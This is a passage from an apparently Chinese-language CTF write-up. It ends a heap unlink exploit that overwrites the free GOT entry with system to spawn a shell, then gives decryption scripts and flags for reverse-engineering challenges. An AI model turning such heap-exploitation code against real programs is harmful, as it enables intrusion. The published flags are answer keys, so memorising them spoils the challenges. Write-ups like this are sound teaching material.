        p2 = pack_fun(node1_addr - 3 * arch_bytes)
        p3 = pack_fun(node1_addr - 2 * arch_bytes)
        #p[2]=p-3
        #p[3]=p-2
        #node1_addr = &node1_addr - 3
        node2_pre_size = pack_fun(heap_buff_size)
        node2_size = pack_fun(heap_node_size)
        data1 = p0 + p1 + p2 + p3 + "".ljust(heap_buff_size - 4 * arch_bytes, '1') + node2_pre_size + node2_size
        return data1
    
    malloc(0x80,'x'*0x8)
    malloc(0x80,'x'*0x8)
    malloc(0x80,'x'*0x8)
    malloc(0x80,'0'*0x8)#3
    malloc(0x80,'1'*0x8)#4
    malloc(0x80,'2'*0x8)
    free(3)
    free(4)

    malloc(0x80+0x10+0x80,fakechunk())#6
    free(4)
    scan(3,p64(elf.got['free']))
    scan(0,p64(elf.plt['system']))
    malloc(0x80,'/bin/sh\x00')#7
    free(7)
    io.interactive()

pwn()

qwbctf{sorry_for_all_the_troubles}


Reverse


picturelock

this.enc(v1_1, this.getFilesDir().getAbsolutePath() + v1_1.substring(v1_1.lastIndexOf(”/”)) + “.lock”, this.j()); 第一个参数是图片路径,第二个大概是输出目录,第三个是签名

enc 在 lib 里面

600C 储存签名

sub_1A48 的第一个参数是图片路径,第二个参数是输出路径

Signature HexData :

f8c49056e4ccf9a1 1e090eaf471f418d 找了一下,似乎是个快速 AES

随便写个脚本就行了

from Crypto.Cipher import AES
sig = 'f8c49056e4ccf9a11e090eaf471f418d'
f = open('flag.jpg.lock', 'rb')
aes1 = AES.new("f8c49056e4ccf9a1", AES.MODE_ECB)
aes2 = AES.new("1e090eaf471f418d", AES.MODE_ECB)
i = 0
res = ''
while 1:
   length = ord(sig[i%32])
   t = length % 2
   if length < 16:
       data = f.read(16)
   else:
       data = f.read(length)
   length = len(data)
   if length == 0:
       break
   if t == 0:
       res += aes1.decrypt(data[0:16])
   else:
       res += aes2.decrypt(data[0:16])
   k = 16
   for j in data[16:]:
       res += chr(ord(j) ^ ord(sig[k%32]))
       k += 1
   i += 1
f = open('flag.jpg','wb')
f.write(res)
f.close()

simplecheck

程序读入一个字符串,把内存中的一些数据做解密,然后对比。

关键代码: if((a[i]!=b[i]*ans[i]*ans[i]+c[i]*ans[i]+d[i]) or (a[i+1]!=b[i]*ans[i+1]*ans[i+1]+c[i]*ans[i+1]+d[i]))

根据下个循环,可以得出一个一元二次方程组,来保证唯一解

flag{MAth_i&_GOOd_DON7_90V_7hInK?}


hide

dump 内存,丢 IDA f5

调试 catch ptrace

发现真正的验证函数

解题脚本:

from pwn import *
def decrypt(data):
    delta = 0x676E696C
    rounds = 8
    key = [1883844979, 1165112144, 2035430262, 861484132]
    for i in range(len(key)):
        key[i] %= 0x100000000
        
    summ = delta * rounds;
    v0 = u32(data[:4])
    v1 = u32(data[4:8])

    for i in range(rounds):
        v1 -= ((((v0 << 4) % 0x100000000) ^ (v0 >> 5)) + v0) ^ (summ + key[(summ >> 11) & 3])
        v1 %= 0x100000000
        summ -= delta;
        v0 -= ((((v1 << 4) % 0x100000000) ^ (v1 >> 5)) + v1) ^ (summ + key[summ & 3])
        v0 %= 0x100000000
        
        
    return p32(v0) + p32(v1)


def xor(s):
    ret = ''
    for i in range(len(s)):
        ret += chr(ord(s[i])^i)
    return ret

def a():
    s0 = [0x52, 0xB8, 0x13, 0x7F, 0x35, 0x8C, 0xF2, 0x1B, 0xF4, 0x63, 0x86, 0xD2, 0x73, 0x4F, 0x1E, 0x31]
    s = ''
    for i in range(len(s0)):
        s += chr(s0[i])
    print(s)
    for i in range(3):
        b = xor(s)
        s = decrypt(b[0:8]) + decrypt(b[8:16])
        print(s, len(s))
    print(s, len(s))
a()

qwb{f1Nd_TH3HldeC0dE}

Comments